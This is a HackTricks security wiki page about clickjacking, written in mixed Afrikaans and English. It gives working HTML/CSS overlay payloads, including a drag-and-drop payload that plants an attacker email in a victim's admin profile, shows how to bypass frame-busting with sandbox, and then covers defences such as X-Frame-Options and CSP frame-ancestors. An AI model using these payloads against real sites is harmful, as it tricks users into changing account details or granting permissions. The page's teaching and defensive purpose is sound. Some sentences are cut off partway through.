Clickjacking
Reading time: 9 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is Clickjacking
In 'n clickjacking-aanval word 'n gebruiker mislei om 'n element op 'n webblad te klik wat óf onsigbaar is óf as 'n ander element vermom is. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, omleiding na kwaadwillige webbladsye, die verskaffing van credentials of sensitiewe inligting, geldoorplasings, of die aanlyn aankoop van produkte.
Prepopulate forms trick
Dit is soms moontlik om die waardes van velde van 'n vorm te voorinvul met GET-parameters wanneer 'n bladsy gelaai word. 'n aanvaller kan hierdie gedrag misbruik om 'n vorm met arbitrêre data te vul en die clickjacking payload te stuur sodat die gebruiker die knoppie Submit druk.
Populate form with Drag&Drop
As jy die gebruiker nodig het om 'n vorm in te vul maar jy wil hom nie direk vra om spesifieke inligting te skryf nie (soos die e-pos en/of spesifieke wagwoord wat jy ken), kan jy hom net vra om iets te Drag&Drop wat jou beheerste data sal invoer, soos in this example.
Basiese Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Meertraps Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
As jy 'n XSS attack that requires a user to click op 'n element geïdentifiseer het om die XSS te trigger en die bladsy is vulnerable to clickjacking, kan jy dit misbruik om die gebruiker te mislei om op die knoppie/skakel te klik.
Example:
Jy het 'n self XSS gevind in sekere privaat rekeningbesonderhede (besonderhede wat slegs jy kan set and read). Die bladsy met die form om hierdie besonderhede te stel is vatbaar vir Clickjacking en jy kan die form prepopulate met die GET-parameters.
'n Aanvaller kan 'n Clickjacking attack teen daardie bladsy voorberei deur die form te prepopulate met die XSS payload en die user te tricking om die Submit die form. Dus, when the form is submitted en die waardes is gewysig, sal die user will execute the XSS.
DoubleClickjacking
Eerstens explained in this post, hierdie tegniek vra die slagoffer om twee keer (dubbelklik) op 'n knoppie van 'n pasgemaakte bladsy te klik wat op 'n spesifieke plek geplaas is, en gebruik die tydsverskille tussen die mousedown en onclick events om die slagofferbladsy tydens die dubbelklik te laai sodat die slagoffer eintlik 'n legitieme knoppie op die slagofferbladsy klik.
'n Voorbeeld is te sien in hierdie video: https://www.youtube.com/watch?v=4rGvRRMrD18
'n Code voorbeeld kan gevind word op this page.
warning
Hierdie tegniek laat toe om die gebruiker te mislei om op een plek op die slagofferbladsy te klik en sodoende alle beskerming teen clickjacking te omseil. Dus moet die aanvaller sensitiewe aksies vind wat met net 1 klik uitgevoer kan word, soos OAuth prompts accepting permissions.
Browser extensions: DOM-based autofill clickjacking
Afgesien van iframing van slagofferbladsye, kan aanvallers browser extension UI-elemente teiken wat in die bladsy ingespuit word. Password managers render autofill dropdowns naby gefokusde inputs; deur 'n attacker-controlled veld te fokus en die extension se dropdown te verberg/occlude (opacity/overlay/top-layer truuks), kan 'n gedwonge gebruikersklik 'n gestoor item kies en sensitiewe data in attacker-controlled inputs invul. Hierdie variant benodig geen iframe exposure nie en werk volledig via DOM/CSS-manipulasie.
- For concrete techniques and PoCs see:
Strategieë om Clickjacking te Verminder
Kliëntkant-verdeding
Skripte wat aan die kliëntkant uitgevoer word kan aksies doen om Clickjacking te voorkom:
- Verseker dat die aansoekvenster die hoof- of boonste venster is.
- Maak alle frames sigbaar.
- Voorkom klikke op onsigbare frames.
- Ontdek en waarsku gebruikers oor potensiële Clickjacking-pogings.
Echter, hierdie frame-busting skripte kan omseil word:
- Browsers' Security Settings: Sommige browsers kan hierdie skripte blokkeer gebaseer op hul sekuriteitsinstellings of gebrek aan JavaScript support.
- HTML5 iframe sandbox Attribute: 'n Aanvaller kan frame buster skripte neutraliseer deur die sandbox attribute te stel met allow-forms of allow-scripts waardes sonder allow-top-navigation. Dit verhoed dat die iframe kan verifieer of dit die top-venster is, bv.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Die allow-forms en allow-scripts waardes stel aksies binne die
Bediener-kant Verdedigings
X-Frame-Options
Die X-Frame-Options HTTP response header vertel blaaiers of dit regverdig is om 'n bladsy in 'n of
- X-Frame-Options: deny - Geen domein kan die inhoud in 'n raam plaas.
- X-Frame-Options: sameorigin - Slegs die huidige webwerf kan die inhoud framen.
- X-Frame-Options: allow-from https://trusted.com - Slegs die gespesifiseerde 'uri' kan die bladsy framen.
- Let op die beperkings: as die blaaier hierdie direktef nie ondersteun nie, mag dit nie werk nie. Sommige blaaiers verkies die CSP frame-ancestors direktief.
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP is die aanbevole metode vir Clickjacking-beskerming:
- frame-ancestors 'none' - Soortgelyk aan X-Frame-Options: deny.
- frame-ancestors 'self' - Soortgelyk aan X-Frame-Options: sameorigin.
- frame-ancestors trusted.com - Soortgelyk aan X-Frame-Options: allow-from.
Byvoorbeeld, die volgende CSP laat slegs framing vanaf dieselfde domein toe:
Content-Security-Policy: frame-ancestors 'self';
Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla's CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) is 'n sekuriteitsmaatreël wat help om Clickjacking en ander code injection attacks te voorkom deur te spesifiseer watter bronne die blaaier mag toelaat om inhoud te laai.
frame-src Directive
- Defines valid sources for frames.
- More specific than the default-src directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Hierdie beleid laat frames toe vanaf dieselfde oorsprong (self) en https://trusted-website.com.
child-src Direktief
- Ingevoer in CSP vlak 2 om geldige bronne vir web workers en frames te stel.
- Dien as fallback vir frame-src en worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Hierdie beleid laat frames en workers toe van dieselfde oorsprong (self) en https://trusted-website.com.
Gebruiksnotas:
- Veroudering: child-src word uitgefaseer ten gunste van frame-src en worker-src.
- Terugvalgedrag: As frame-src afwesig is, word child-src as 'n terugval vir frames gebruik. As albei afwesig is, word default-src gebruik.
- Streng brondefinisie: Sluit slegs betroubare bronne in die direktiewe in om uitbuiting te voorkom.
JavaScript Frame-Breaking Scripts
Hoewel dit nie heeltemal onfeilbaar is nie, kan JavaScript-based frame-busting scripts gebruik word om te verhoed dat 'n webbladsy in 'n raam geplaas word. Voorbeeld:
if (top !== self) {
top.location = self.location
}
Gebruik van Anti-CSRF Tokens
- Token Validation: Gebruik anti-CSRF tokens in webtoepassings om te verseker dat versoeke wat die toestand verander doelbewus deur die gebruiker gemaak word en nie deur 'n Clickjacked bladsy nie.
Verwysings
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.